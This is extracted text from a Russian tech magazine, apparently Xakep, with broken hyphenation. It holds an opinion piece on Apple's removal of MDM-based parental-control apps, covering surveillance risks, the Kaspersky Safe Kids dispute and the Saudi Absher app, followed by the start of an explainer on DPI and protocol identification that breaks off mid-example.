тики:  при водят ся  интервью  с  пос тра дав шим  от  зависи мос ти  от  iPhone,
который смог пре одо леть собс твен норуч но уста нов ленное в «Экранном вре‐ 
мени»  огра ниче ние,  и  родите лей,  сету ющих  на  то,  что  их  дети  находят  спо‐ 
собы обой ти уста нов ленные «Экранным вре менем» бло киров ки.

Та ким обра зом, Apple обви няют в сле дующих гре хах:
1. Ком пания уда лила или зас тавила про изво дите лей убрать «клю чевую фун‐ 
кци ональ ность»,  поз воля ющую  отсле живать  и  огра ничи вать  дей ствия
поль зовате ля устрой ства.

2. В  Apple  сде лали  это  сра зу  пос ле  того,  как  ана логич ная  (но,  конеч но  же,
гораз до хуже — так сле дует из статьи) фун кция появи лась в iOS.

3. Из  пер вых  двух  пун ктов  сле дует  вывод:  Apple  нерыноч ными  (читай  —
нечес тны ми) метода ми огра ничи вает кон курен цию.

Ка залось бы,  не пос поришь. В App Store дей стви тель но ста ло мень ше при‐ 
ложе ний,  реали зующих  кон троль  экранно го  вре мени  и  родитель ский  кон‐ 
троль,  а  эффектив ность  оставших ся  замет но  сни зилась.  И  по  вре мени
как  сов пало  —  статья  в  NY  Times  появи лась  акку рат  пос ле  выхода  iOS
12  со  встро енной  фун кци ей  «Экранно го  вре мени».  Одна ко  сто ит  прис‐ 
мотреть ся к деталям, и «дело раз валива ется».

ТАЙМЛАЙН
Ка залось бы, все прос то: Apple выпус кает iOS 12 с фун кци ей «Экранно го вре‐ 
мени» — Apple выкиды вает из App Store кон курен тов. Не то что бы ком пания
никог да такого не делала; дос таточ но вспом нить при ложе ние f.lux, уво дящее
экран устрой ства в теп лые оттенки, и реак цию Apple. Одна ко здесь не тот слу‐ 
чай.

:  в  iOS  12,  вышед шей  в  июне  2018  года,  появи лась  фун кция
«Экранное вре мя», которую пред лага ется исполь зовать в целях родитель‐ 
ско го кон тро ля.

• Факт  1

:  Apple  дей стви тель но  вычис тила  из  магази на  при ложе ния,
которые  пред лагали  поль зовате лям  уста новить  про филь  кон фигура ции
для  работы  фун кций  родитель ско го  кон тро ля.  В  ком пании  сос лались
на пункт 2.5.1  .

• Факт  2

ру ководс тва для раз работ чиков при ложе ний

Кор реляция? Не сов сем. В Apple  начали рас сле дова ние  в отно шении прак‐ 
тики  исполь зования  кор поратив ных  и  MDM‐сер тифика тов  и  про филей  кон‐ 
фигура ции  обыч ными  (не  кор поратив ными)  при ложе ниями  еще  в
начале  2017‐го,  а  соот ветс тву ющий  зап рет  появил ся  в  App  Store  в  середи‐ 
не 2017‐го, за год до выхода iOS 12.

В Apple соч ли необ ходимым отре аги ровать на про вока цион ный матери ал,
опуб ликовав  , объ ясня ющую при чины, по которым были уда лены при‐ 
ложе ния. В статье под робно объ ясня ется, что такое MDM‐сер тифика ты и чем
они могут быть опас ны.

статью

Кто  здесь  прав,  а  кто  виноват?  Apple  очень  не  любит,  ког да  кто  угод но,
кро ме самой ком пании, вме шива ется в работу iOS и сто рон них при ложе ний.
Имен но  эта  нелюбовь  в  июне  2018  года  пос лужила  Apple  поводом  заб‐ 
локиро вать  обновле ния  бло киров щиков  рек ламы,  которые  исполь зовали
локаль ные VPN для филь тра ции тра фика: по мне нию ком пании, это было пря‐ 
мым вме шатель ством в работу дру гих при ложе ний, что пра вила ми App Store
зап рещено в явном виде все тем же пун ктом 2.5.1 руководс тва для раз работ‐ 
чиков  при ложе ний.  Ранее  тот  же  пункт  был  исполь зован  про тив  раз работ‐ 
чиков при ложе ния f.lux.

INFO

Уже  пос ле  того,  как  была  написа на  эта  статья,
в новос тях прош ла информа ция о том, что Apple
отме няет  зап рет  на  исполь зование  MDM‐сер‐ 
тифика тов  для  при ложе ний  родитель ско го  кон‐ 
тро ля. Веро ятно, решение было при нято под дав‐ 
лени ем  судеб ных  исков  от  мно гочис ленных  раз‐ 
работ чиков  подоб ных  при ложе ний.  Сто рон ники
гиперо пеки  могут  воз радовать ся:  очень  ско ро
они  смо гут  вновь  вос поль зовать ся  сом нитель‐ 
ными  инс тру мен тами  родитель ско го  кон тро ля,
которые  лег ко  мож но  прев ратить  в  тех ничес кие
средс тва для слеж ки и прес ледова ния.

ЧТО ТАКОЕ ПРОФИЛИ КОНФИГУРАЦИИ В IOS И ПОЧЕМУ ЗА ИХ
ИСПОЛЬЗОВАНИЕ БАНЯТ
Про фили  кон фигура ции  —  мощ ный  инс тру мент,  поз воля ющий  кор поратив‐ 
ным  поль зовате лям  и  раз работ чикам  про изво дить  мас совую  нас трой ку
устрой ств и обхо дить некото рые встро енные в  iOS огра ниче ния. Под робнее
о  про филях  кон фигура ции  мож но  почитать  по  ;  нас  же  инте ресу ет
самый пер вый пункт в спис ке того, что мож но сде лать при помощи про филя
кон фигура ции: Restrictions on device features.

ссыл ке

Ис поль зование огра ниче ний через уста нов ку про филя кон фигура ции поз‐ 
воля ет бло киро вать (фак тичес ки — уда лить) любой набор при ложе ний, вклю‐ 
чая  сис темные.  Kaspersky  Safe  Kids  исполь зовал  эту  воз можность  для  бло‐ 
киров ки  бра узе ра  Safari.  Кро ме  того,  пос редс твом  про филя  кон фигура ции
мож но  раз решать  или  зап рещать  устрой ству  под клю чать ся  к  компь юте ру,
соз давать  резер вные  копии,  менять  или  сбра сывать  пароли  и  мно гое  дру‐ 
гое —  в  том  чис ле  такие  вещи,  которые  недос тупны  даже  через  нас трой ки
«Экранно го вре мени».

Штат ный сце нарий для про филей кон фигура ции — при мене ние в устрой‐ 
ствах,  которые  при над лежат  ком пании  и  выданы  работ никам  во  вре мен ное
поль зование. Про фили кон фигура ции могут задей сто вать ся и в дру гих целях.
К при меру, некото рые при ложе ния (в час тнос ти, ком пании Olympus) исполь‐ 
зуют про фили кон фигура ции для нас трой ки дос тупа к внеш нему устрой ству (в
слу чай  Olympus  —  фото аппа рата)  через  Wi‐Fi.  Тем  не  менее  даже  такое
исполь зование про филей про тиво речит полити ке Apple, потому что про филь
кон фигура ции  рас простра няет ся  не  через  App  Store,  а  его  исполь зование
дей стви тель но потен циаль но опас но.

О БЕЛЫХ И ПУШИСТЫХ
Сре ди  ком паний,  чьи про дук ты попали под прис таль ное  вни мание Apple, —
ком пания Кас пер ских, которая вынуж дена была уда лить «клю чевые фун кции»
из  при ложе ния  Kaspersky  Safe  Kids.  Ком пания  даже  подала  жалобу  на  дей‐ 
ствия Apple в Анти моно поль ный комитет и ана логич ный орган в ЕС. Дей стви‐ 
тель но, в акту аль ной вер сии при ложе ния воз можнос тей оста лось, откро вен‐ 
но говоря, негус то. А что там было до того, как вме шалась Apple?

Сей час  мы  уже  не  можем  уста новить  ста рую  вер сию  при ложе ния,  но  по
опи санию ее воз можнос тей и   впол не мож но пред‐ 
ста вить  себе  фун кци ональ ность  прог раммы.  Для  эффектив ной  работы
Kaspersky Safe Kids пос ле уста нов ки тре бова ла добавить в сис тему про филь
кон фигура ции, обла дающий доволь но инте рес ными свой ства ми.

сох ранив шимся обзо рам
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Нель зя  было  уда лить  с  устрой ства  без  код‐пароля  (пароль  дол жен  был
получить  наб людатель  из  акка унта  Kaspersky).  Разуме ется,  наб люда‐ 
емый  —  тот,  на  чье  устрой ство  уста нав ливал ся  такой  сер тификат,  —
не мог ни уда лить сер тификат, ни даже сбро сить устрой ство (толь ко через
recovery mode  с  пос леду ющей  нас трой кой).  При  этом  воз раст  наб люда‐ 
емо го  объ екта  ука зывал ся  наб людате лем  в  при ложе нии  Kaspersky;
с реаль ным воз растом наб люда емо го он не кор релиро вал. Изме нить воз‐ 
рас тные нас трой ки жер тва слеж ки не мог ла.

•

Лю бая  попыт ка  что‐либо  сде лать  с  сер тифика том  не  толь ко  пре сека‐ 
лась — о ней момен таль но уве дом лялся наб людатель. Сво еоб разный ана‐ 
лог элек три чес кой загоро ди с сиг нализа цией.

•

Встро енный  бра узер  Safari  бло киро вал ся.  Вмес то  него  наб люда емо му
пред лагалось исполь зовать «кар манный» бра узер Kaspersky. Разуме ется,
все  дей ствия  в  этом  бра узе ре  кон тро лиро вались  чуть  более  чем  пол‐ 
ностью, вплоть до момен таль ного уве дом ления наб людате ля при попыт ке
зай ти на огра ничен ный ресурс.

•

Наб людатель мог уста нав ливать  так называ емый geofence  (раз решен ную
тер риторию).  Если  жер тва  слеж ки  покида ла  раз решен ную  тер риторию,
наб людатель получал уве дом ление. Кста ти — воз можность очень похожа
на опцию «жен ско го кон тро ля» в Саудов ской Ара вии.

•

Наб людатель  получал  уве дом ления  в  реаль ном  вре мени,  пре дуп реждав‐ 
шие  о  любой  попыт ке  наб люда емо го  каким‐либо  обра зом  выр вать ся
из‐под опе ки: отклю чить бло киров ки, уда лить сер тификат и так далее.

•

Для уда ления при ложе ния с устрой ства жер тве наб людения нуж но было про‐ 
делать неоче вид ную пос ледова тель ность дей ствий: 
 1. Узнать, что для слеж ки исполь зует ся имен но этот про дукт. 
 2. Узнать о сущес тво вании учет ной записи в кабине те My Kaspersky. 
 3. Узнать логин и пароль от учет ной записи My Kaspersky. 
 4. Зай ти в кабинет и узнать PIN‐код для уда ления про филя.

 5. Зай ти в нас трой ки про филей и уда лить про филь Kaspersky.

 6. Ввес ти PIN‐код из кабине та My Kaspersky.

Толь ко  пос ле  это го  мож но  было  уда лить  при ложе ние  Safe  Kids.  Как  видим,
если  жер твой  прес ледова ния  ста новил ся  ребенок  стар ше  три над цати  лет
или сов сем не ребенок, оче вид ного спо соба изба вить ся от слеж ки не сущес‐ 
тво вало. Подоб ным обра зом работа ли и мно гочис ленные ана логи.

Вот    до  того,  как  ком пании  зап ретили
исполь зовать  про фили.  Вывод  жур налис та:  «Kaspersky  Safe  Kids  —  луч ший
инс тру мент родитель ско го кон тро ля из дос тупных на iOS».

об зор  ста рой  вер сии  при ложе ния

Воз можно,  с  тех ничес кой  точ ки  зре ния  «плот ности»  опе ки  и  защиты
от попыток наб люда емо го выр вать ся из‐под нее про дукт Кас пер ских и «луч‐ 
ший», но если пос мотреть с дру гих точек зре ния — ста новит ся неуют но. Поп‐ 
робу ем разоб рать ся, что здесь не так.

ЧТО НЕ ТАК С ПРИЛОЖЕНИЯМИ КОНТРОЛЯ ЭКРАННОГО ВРЕМЕНИ
Ро дитель ский  кон троль  —  час тный  слу чай  кон тро ля  экранно го  вре мени.
До опи сыва емых  событий  в  App Store  при сутс тво вало  доволь но мно го  при‐ 
ложе ний,  реали зующих  кон троль  экранно го  вре мени  через  кор поратив ные
сер тифика ты  MDM.  Посеща емые  ресур сы  кон тро лиро вались  час то
при помощи еще одной фун кции, исполь зование которой наруша ет пра вила
App Store, — локаль ного VPN, подоб ного тому, что при сутс тву ет в некото рых
бло киров щиках рек ламы (нап ример, AdGuard).

Кон троль экранно го вре мени в целом и родитель ский кон троль в час тнос‐ 
ти — пал ка о двух кон цах, он лег ко (слиш ком лег ко) прев раща ется в шпи онаж
и прес ледова ние. Озна чает  ли  это,  что  все при ложе ния родитель ско го  кон‐ 
тро ля  вред ны,  их  исполь зование  нуж но  зап ретить  и  от  них  отка зать ся?
Думаю, нет.

Да,  любые  без  исклю чения  средс тва  монито рин га  и  кон тро ля  мож но
исполь зовать для под гля дыва ния, шпи она жа и прес ледова ния. Тем не менее
до опре делен ного воз раста пра во родите лей кон тро лиро вать исполь зование
гад жетов деть ми, как пра вило, не оспа рива ется.

В раз ных стра нах раз лича ются как законы, так и усло вия жиз ни. В некото‐ 
рых  стра нах  пос тавле ны  вне  закона  тех ничес кие  средс тва,  которые  мож но
исполь зовать  для  шпи она жа  и  прес ледова ния,  но  прак тичес ки  вез де  дела‐ 
ются исклю чения для средств родитель ско го кон тро ля. Как пра вило, исполь‐ 
зование  таких  средств  закон но  по  отно шению  к  лицам  любого  пола,  но  с
огра ниче нием по воз расту (в Евро пе, к при меру, этот воз раст — три над цать
лет).

В  некото рых  стра нах  шпи онаж  и  прес ледова ние  жен щин —  нор маль ная
прак тика, уза конен ная государс твом. Вот, нап ример, до чего может дой ти.

В  при ложе нии  Absher  («Госус луги»)  одной  из  «услуг»,  пре дос тавля емых
государс твом Саудов ской Ара вии, явля ется слеж ка за лицами жен ско го пола
и кон троль за пересе чени ем гра ницы опять же лицами жен ско го пола. Жен‐ 
щина  не  может  покинуть  стра ну  без  раз решения  муж чины,  а  при  попыт ке
это  сде лать  муж чина  получит  момен таль ное  уве дом ление.  В  фев‐ 
рале  2018  года  двум  сес трам  из  Саудов ской  Ара вии  уда лось  покинуть
мусуль ман ский  рай,  получив  дос туп  к  телефо ну муж чины  и  выдав  себе  раз‐ 
решение  на  поез дку  от  его  име ни  (одновре мен но  заб локиро вав  уве дом‐ 
ления). В  том же месяце исто рия широко разош лась  в 
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средс твах мас совой

информа ции
Как  мы  зна ем,  Apple  зор ко  отсле жива ет  воз можные  наруше ния  прав

челове ка;  это  же    и  гла ва  ком пании  Тим  Кук,
пообе щав «пос мотреть». Оче вид но, пор тить отно шения с целой стра ной ком‐ 
пании не захоте лось, и дело было спу щено на тор мозах. В кон це апре ля сес‐ 
тры‐бег лянки напом нили о сво ем сущес тво вании, попытав шись под нять 

,  но  на  сей  раз  руководс тво  Apple  не  соч ло  нуж ным
как‐либо выс казать ся. К сло ву, в Google никак не отре аги рова ли и на пер вую
вол ну пуб ликаций.

под твер дил  в  сво ем  интервью

вто‐ 
рую  вол ну  пуб ликаций

Де лаем пер вый важ ный вывод: так — мож но, но толь ко если ты граж данин
Саудов ской Ара вии.

Вто рой вывод в том, что для впол не закон ного кон тро ля и прес ледова ния
кого  бы  то  ни  было  мож но  обой тись  и  без  каких‐то  там  про филей  и  сер‐ 
тифика тов:  впол не  дос таточ но  пог ранич ного  кон тро ля  и  пор тала  «Госус луг»
в соот ветс тву ющей стра не.

На конец,  тре тий  вывод:  для  того  уров ня  кон тро ля,  который  реали зован
в при ложе нии Absher, не нуж но и само при ложе ние. Уве дом ления о попыт ке
сбе жать из стра ны могут с тем же успе хом дос тавлять ся и по email или в SMS,
а  раз решитель ные  (или  зап ретитель ные)  дей ствия  мож но  про делать  через
любой веб‐бра узер. Проб лема здесь не в App Store и даже не в при ложе нии.

КАК ПРАВИЛЬНО?
По мимо  законов,  есть  и  лич ные  пред почте ния  родитель ско го  кон тро ля,
которые могут быть в диапа зоне от «зап ретить все» до «все рав но бес полез‐ 
но».  По  мне нию  авто ра,  родитель ский  кон троль  име ет  пра во  на  сущес тво‐ 
вание при соб людении ряда гра нич ных усло вий. Усло вий нем ного:
1. Ро дитель ский  кон троль исполь зует ся  в  явном виде  (ребенок  зна ет  о  его
сущес тво вании).

2. Де тали зация  ста тис тики  не  перехо дит  чер ту  разум ного  (раз ница  меж ду
«огра дить от обще ния с педофи лами» и «читать всю перепис ку» сущес тву‐ 
ет, и реали зует ся она совер шенно не тех ничес кими метода ми).

3. У  ребен ка  дол жна  быть  оче вид ная  тех ничес кая  воз можность,  дос тигнув
совер шенно летия,  вый ти  из‐под  родитель ско го  кон тро ля  —  самос‐ 
тоятель но и не спра шивая раз решения у родите лей. Как следс твие из это‐ 
го пун кта — у родите лей не дол жно быть воз можнос ти возоб новить  кон‐ 
троль  тех ничес кими  средс тва ми  без  раз решения  совер шенно лет него
отпрыс ка (см. «прес ледова ние»).

4. Тех ничес кие  средс тва  родитель ско го  кон тро ля  дол жны  обла дать  чет ко
про писан ными  полити ками  при ват ности  и  работа ющи ми  механиз мами
безопас ности  и  охра ны  пер сональ ных  дан ных  (тут  мож но  вспом нить
про китай ские дет ские часы с GPS‐тре кера ми, дан ными с которых может
вос поль зовать ся прак тичес ки кто угод но).

Из  ука зан ных  выше  пун ктов  важ ны  все. Отри цатель ных  при меров  нас толь ко
мно го,  что  даже  нет  смыс ла  их  искать,  —  от  мно гочис ленных  кей лог геров
родом  из  кон ца  девянос тых  до  раз нооб разных  носимых  устрой ств,  обе‐ 
щающих обе зопа сить ребен ка, но на прак тике лишь пре дос тавля ющих потен‐ 
циаль ным прес тупни кам допол нитель ный удоб ный инс тру мент.

Ав тор  зна ком  с  семей ством,  где  мать  прес леду ет  собс твен ную  две над‐ 
цатилет нюю дочь — бук валь но сле дит за ней, пря чась за  кус тами. Не видит
в этом ничего пло хого. Дочь зна ет о поведе нии матери и сты дит ся его; в при‐ 
сутс твии матери ребенок зам кнут и необ щителен, «ожи вая» лишь в те момен‐ 
ты,  ког да  матери  точ но  нет  рядом.  Пси хике  ребен ка  уже  нанесен  непоп‐ 
равимый вред: ког да девоч ка вырас тет, у нее навер няка воз никнут серь езные
проб лемы с соци али заци ей.

Да вать в руки таким родите лям инс тру мен ты родитель ско го кон тро ля, поз‐ 
воля ющие вес ти скры тое наб людение, — гаран тирован ное усу губ ление пси‐ 
холо гичес кой  трав мы,  свя зан ное  с  гру бым  наруше нием  лич ного  прос транс‐ 
тва. В инте ресах детей сде лать так, что бы подоб ных инс тру мен тов родитель‐ 
ско го  кон тро ля  не  было.  Впол не  дос таточ но  одно го,  цен тра лизо ван ного
и  «пра виль ного»  решения,  очень  похоже го  на  встро енный  в  iOS  12  режим
«Экранно го вре мени».

Вы пол няют ся ли в при ложе нии «Экранное вре мя» гра нич ные усло вия?
1. Ин форми рова ние ребен ка отда ется на усмотре ние родите лей. Тех ничес‐ 
ки при ложе ние «Экранное вре мя» не пыта ется себя спря тать или замас‐ 
кировать.

2. Ста тис тика дос таточ но деталь на, что бы узнать, какие при ложе ния и сколь‐ 
ко  вре мени  исполь зовал  ребенок,  какие  веб‐сай ты  посещал  в  бра узе ре
Safari, — но не более того. Перех вата кла виату ры нет, чаты не отсле жива‐ 
ются, жур налы обще ния не ведут ся.

3. Ес ли Apple ID ребен ка учас тво вал в «Семей ном дос тупе», то, дож давшись
совер шенно летия,  ребенок может  самос тоятель но  вый ти  из  «Семей ного
дос тупа»  и  отклю чить  «Экранное  вре мя».  Более  того,  огра ниче ния
«Экранно го  вре мени»,  уста нов ленные  родите лями,  а  так же  воз можность
дис танци онно го  отсле жива ния  средс тва ми  «Экранно го  вре мени»  будут
отклю чены авто мати чес ки. До совер шенно летия ребенок может покинуть
«Семей ный дос туп» в  три над цать лет  (до это го вре мени ребенок дол жен
оста вать ся  в  «Семей ном  дос тупе»).  Наконец,  если  «Экранное  вре мя»
исполь зовалось  без  «Семей ного  дос тупа»,  то  единс твен ный  спо соб
самос тоятель но сбро сить пароль огра ниче ний — сброс все го устрой ства
(аль тер натива — вос поль зовать ся одним из мно гочис ленных при ложе ний,
которые могут извлечь пароль «Экранно го вре мени» из резер вной копии
устрой ства, локаль ной или облачной).

Вы вод? Усло вия выпол няют ся с натяж кой. Если Apple ID ребен ка не учас тво‐ 
вал  в  «Семей ном  дос тупе»,  а  огра ниче ния  «Экранно го  вре мени»  были  нас‐ 
тро ены, единс твен ный штат ный спо соб изба вить ся от огра ниче ний — сброс
устрой ства. Неш татные  спо собы  сущес тву ют  в  виде  сто рон них  при ложе ний,
которые  спо соб ны  извлечь  соот ветс тву ющий  пароль  из  резер вной  копии
устрой ства, соз данной при помощи iTunes или извле чен ной из обла ка iCloud.
Еще один отри цатель ный момент — ребенок не смо жет пос ле сбро са вос ста‐ 
новить  устрой ство  из  резер вной  копии;  если  это  сде лать,  то  пароль
«Экранно го вре мени» будет так же вос ста нов лен:

Ес ли вы забыли пароль для огра ниче ний,  уста нов ленный в пре дыду- 
щей вер сии iOS, или же пароль к фун кции «Экранное вре мя», сот рите
все  дан ные  с  устрой ства  и  нас трой те  его  как  новое,  что бы  уда лить
пароль.  При  вос ста нов лении  дан ных  устрой ства  из  резер вной  копии
пароль не уда ляет ся.

Ка ков минималь но  необ ходимый  уро вень  родитель ско го  кон тро ля?  Уни вер‐ 
саль ного рецеп та нет: мно гое зависит как от воз раста ребен ка, так и от усло‐ 
вий  окру жающей  сре ды  с  акцентом  на  здра вый  смысл  родите лей.  В  семье
авто ра дан ного тек ста кон троль огра ничен сбо ром ста тис тики (вре мя исполь‐ 
зования  устрой ства  и  при ложе ний  без  авто мати зиро ван ных  огра ниче ний)
и фун кци ей, бло киру ющей кон тент 18+ и тот, что был приз нан неп рием лемым
сооб щес тва ми  соот ветс тву ющих  соци аль ных  сетей.  Так же  огра ниче на  воз‐ 
можность сбро са устрой ства и сме ны Apple ID.

А что нас чет воз раста ребен ка? До восем надца ти лет у ребен ка нет закон‐ 
ного  спо соба  выр вать ся  из‐под  циф ровой  гиперо пеки,  если  таковая  име ет
мес то быть. Хорошо, если ребенок ока жет ся умнее родите лей и суме ет сох‐ 
ранить  час тицу  при ват ности  в  усло виях  пос тоян ной  слеж ки  (в  аме рикан ских
СМИ  о  таких  слу чаях  пишут  сплошь  и  рядом).  Иног да  единс твен ный  вари‐ 
ант — сброс  устрой ства до  завод ских нас тро ек,  соз дание све жего Apple  ID
с двух фактор ной аутен тифика цией и нас трой ка с нуля.

ЗАКЛЮЧЕНИЕ
Как сде лать так, что бы родитель ский кон троль не прев ратил ся в гиперо пеку?
Где грань меж ду инте реса ми ребен ка и прес ледова нием? Какие вещи мож но
и нуж но огра ничи вать тех ничес ки, а какие тре буют от родите лей быть родите‐ 
лями и общать ся с собс твен ным ребен ком? Най ти точ ку рав новесия труд но,
тем более что баланс зависит как от внеш них фак торов, так и от убеж дений
самих  родите лей.  В  таком  кон тек сте  «Экранное  вре мя»  выг лядит  разум ным
ком про мис сом, пре дос тавляя воз можнос ти для кон тро ля исполь зования гад‐ 
жетов  и монито рин га  дей ствий  ребен ка —  кон тро ля,  не  перехо дяще го  (или
перехо дяще го?)  ту  грань,  ког да монито ринг прев раща ется в слеж ку и прес‐ 
ледова ние.  Выг лядит  ли  разум ным  решение  Apple  огра ничить  воз можнос ти
сто рон них при ложе ний кон тро ля экранно го вре мени? С точ ки зре ния общес‐ 
твен ного  пси холо гичес кого  здо ровья  и  защиты  инте ресов  детей  (в  ущерб
паранойе их родите лей) решение выг лядит весь ма разум ным. С точ ки зре ния
пре пятс тво вания  кон курен ции  оно  кажет ся  более  сом нитель ным —  но  дан‐ 
ный слу чай не пер вый и не пос ледний в череде подоб ных.

WWW

•Статья, с которой все началось
•Про дол жение  темы  при ложе ний  для  кон тро ля
экранно го вре мени

•Как  нас тро ить  родитель ский  кон троль
при помощи «Экранно го вре мени»

mailto:aoleg@voicecallcentral.com
https://www.nytimes.com/2019/04/27/technology/apple-screen-time-trackers.html
https://developer.apple.com/app-store/review/guidelines/#software-requirements
https://www.apple.com/newsroom/2019/04/the-facts-about-parental-control-apps/
https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf
https://uk.pcmag.com/parental-control-monitoring/82849/kaspersky-safe-kids-for-iphone
https://uk.pcmag.com/parental-control-monitoring/82849/kaspersky-safe-kids-for-iphone
https://theaggie.org/2019/05/17/apple-wants-to-protect-your-privacy-and-let-you-track-your-wife/
https://www.npr.org/2019/02/12/693994447/apple-google-criticized-for-carrying-app-that-lets-saudi-men-track-their-wives?t=1558517093456
https://www.cultofmac.com/621682/saudi-sisters-renew-requests-for-apple-to-remove-woman-tracking-app/
https://www.nytimes.com/2019/04/27/technology/apple-screen-time-trackers.html
https://theaggie.org/2019/05/17/apple-wants-to-protect-your-privacy-and-let-you-track-your-wife/
https://support.apple.com/ru-ru/HT201304
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ПРИВАТНОСТЬ

Мно гие  стра ны  мира  начали  пов семес тно  внед рять  тех‐ 
нологии  для  слеж ки  за  сво ими  граж данами  и  ана лиза  их
поведе ния.  Механиз мы  вро де  DPI  огра ничи вают  нашу  сво‐ 
боду в Сети. Что бы всту пить в чес тный бой с эти ми механиз‐ 
мами, очень важ но разоб рать ся, как все устро ено внут ри.

ПРОВАЙДЕРЫ И DPI
У про вай деров есть две проб лемы:

они  обя заны  огра ничи вать  дос туп  к  некото рым  дан ным  в  соот ветс твии
с законом;

•

ни одна ком пания не хочет пла тить лиш ние день ги за собс твен ное соеди‐ 
нение с про вай дером уров ня выше, которое, оче вид но, тарифи циру ется.

•

И  та  и  дру гая  проб лема  реша ется  огра ниче нием  отдель ных  зап росов
или про токо лов, с чем справ ляет ся тот самый глу бокий ана лиз пакетов — DPI.

Ря довых  поль зовате лей  это  лиша ет  мно гих  воз можнос тей.  Про вай дер,
нап ример, спо собен заб локиро вать или силь но замед лить весь тра фик про‐ 
токо ла  BitTorrent,  так  что  качать  тор ренты  ста нет  невоз можно.  Или,  ради
допол нитель ной  выгоды,  может  «отклю чать»  VoIP  и  Skype  для  всех  поль‐ 
зовате лей, кро ме тех, кто спе циаль но опла тил дос туп.

DPI  спо собен  обна ружи вать  и  пре секать  соеди нения  по  опре делен ным
пра вилам, а их воз можнос ти зависят от про изво дите ля обо рудо вания. Единс‐ 
твен ное, что их объ еди няет, — DPI работа ет начиная с тран спортно го уров ня
сетевой модели.

СЕТЕВАЯ МОДЕЛЬ
Компь ютер ные сети устро ены таким обра зом, что бы работать над слож ными
при ложе ниями, не думая о кабелях и битах.

Для  это го  было  опре деле но  четыре  сте пени  абс трак ции.  Каж дый  сле‐ 
дующий  шаг  вверх  упро щает  работу  с  информа цией,  которая  переда ется
по сети.

Са мый  пер вый    осно ван  на  физичес ких  про цес сах.  Он
поз воля ет  опре делять  и  свя зывать  устрой ства,  работая  с  аппа рат ными
адре сами: это в пер вую оче редь ARP, L2TP и PPP.

• уро вень  свя зи

Вто рой  слой,  ,  зат рагива ет  адре са  IP  и  соз‐ 
дает логичес кую связь меж ду узла ми IPv4, IPv6 и IPsec. Оба эти уров ня —
клю чевые,  они  опи сыва ют  осно ву,  то,  как  компь юте ры  могут  друг  дру га
най ти.

• уро вень мар шру тиза ции

Тре тий  уро вень —   —  занима ется  дан ными:  что  переда‐ 
вать и нас коль ко качес твен но это делать. TCP и UDP — два клю чевых про‐ 
токо ла,  которые  занима ются  переда чей  дан ных  на  этом  уров не,  обес‐ 
печива ют  сох ранность  информа ции  и  ее  порядок.  Бла года ря  им  все
соеди нения стро го регули руют ся.

• тран спортный

Пос ледний,  чет вертый  уро вень  —  ,  поэто му  его  опи сание
очень  широко  (из‐за  нево обра зимо  боль шого  количес тва  про токо лов),
а исполь зование не обя затель но, не все при ложе ния это дела ют. Но если
исполь зуют,  то  за  дело  берут ся  про токо лы  HTTP  и WebSocket,  что бы  ты
мог  сидеть  в  интерне те,  играть  в  MMORPG  и  чатить ся.  Про токол  FTP
исполь зует ся в основном для обме на фай лами, а POP и IMAP — элек трон‐ 
ной поч той.

• прик ладной

При мер инкапсу ляции дан ных через соеди нение HTTP

Обо рудо вание DPI обыч но работа ет с тран спортным уров нем, пакета ми TCP
и UDP, читая не толь ко заголов ки, но и содер жимое пакетов.

АНАЛИЗ ПАКЕТОВ ДАННЫХ
Лю бой про токол име ет свою чет ко обоз начен ную внут реннюю логику, а так же
спе циаль ные  сиг натуры,  которые  поз воля ют  учас тни кам  соеди нения  опре‐ 
делять, кто и о чем говорит.

HTTP
Да вай  раз берем ся,  нап ример,  с  HTTP  —  самым  популяр ным  про токо лом.
Отпра вим зап рос на  .http://xakep.ru

GET / HTTP/1.1
Host: xakep.ru

Стан дар тный зап рос бра узе ра: он отправ ляет ся на IP   (адрес
сер вера  сай та,  известен  всем,  так  как  исполь зует ся  для  адре сации),  зап‐ 
рашива ет файл по адре су   на сай те xakep.ru (дирек тива  ). Ключ к опре‐ 
деле нию тра фика HTTP — его харак терный заголо вок.

178.248.232.27

/ Host

1. Пер вые  сим волы  до  пер вого  про бела  —  наз вание  метода:  ,  ,
  —  клю чевые.  Конеч но,  есть  и  дру гие,  но  эти  три  занима ют

более 97% от всех зап росов HTTP.

GET POST

HEAD

2. Сим волы от вто рого про бела и до кон ца стро ки — вер сия зап роса. Обыч‐ 
но это   или  .HTTP/1.1 HTTP/1.0

Все эти дан ные мож но исполь зовать, что бы понять, какой это зап рос и куда
он идет. А если известен пункт наз начения, то мож но при нять решение о бло‐ 
киров ке или, в слу чае с  , о при ори тиза ции соеди нения.xakep.ru

Но  в  сов ремен ном  мире  все  боль ше  рас простра няет ся  HTTPS,  что  же
с ним?

До ля тра фика HTTPS в интерне те

Из‐за шиф рования про читать содер жимое без под готов ки невоз можно. Есть
один  спо соб  это  сде лать —  ата ка  Man  in  the  Middle,  ког да  зло умыш ленник
(или про вай дер) внед ряет ся в соеди нение, пред став ляясь поль зовате лю сер‐ 
вером, а сер веру — нас тоящим кли ентом.

Но  такое  тре бует  пол ного  дос тупа  к  компь юте ру  жер твы,  так  как  сер‐ 
тификат  (а  вмес те  с  ним  и  ключ),  который  исполь зует ся  для  защиты  соеди‐ 
нения, под писан, и ник то не может его изме нить.

В таком слу чае про вай дерам ничего не оста ется,  кро ме как бло киро вать
тра фик  по  единс твен ной  сос тавля ющей  —  адре су  IP,  что  при водит  к  бло‐ 
киров ке  не  отдель ной  стра ницы  (как  мог ло  бы  быть  без  HTTPS),  а  все го
ресур са, а если не повезет, то и нес коль ких дру гих, рас полага ющих ся на том
же обо рудо вании.

BitTorrent
Из‐за боль шого объ ема тра фика, который переда ется через пиринг, про вай‐ 
деры иног да пыта ются огра ничить ско рость таких передач. Алго ритм переда‐ 
чи дан ных в пирин говых сетях зна читель но слож нее по срав нению с алго рит‐ 
мом HTTP, но раз работ чики DPI наш ли спо соб иден тифици ровать и его.

Ес ли раз бирать про токол имен но сетей BitTorrent, то его мож но раз ложить
на  нес коль ко отдель ных  эле мен тов,  каж дый из  которых  пред став ляет  собой
набор  отно ситель но  лег ко  иден тифици руемых  соеди нений.  Соеди нения
в  μTorrent  всег да  начина ются  либо  с  фай ла ,  либо  с 

.  Внут ри  зак лючена  информа ция  о  фай лах  в  фор мате  :  наз‐ 
вание  фай лов,  струк тура  папок,  схе ма  деления  на  час ти  и,  конеч но,  так
называ емые тре керы (announce).

*.torrent маг нитной
ссыл ки Bencode

{
  "announce": "http://torrent.ubuntu.com:6969/announce",
  "announce‐list": [
     [
        "http://torrent.ubuntu.com:6969/announce"
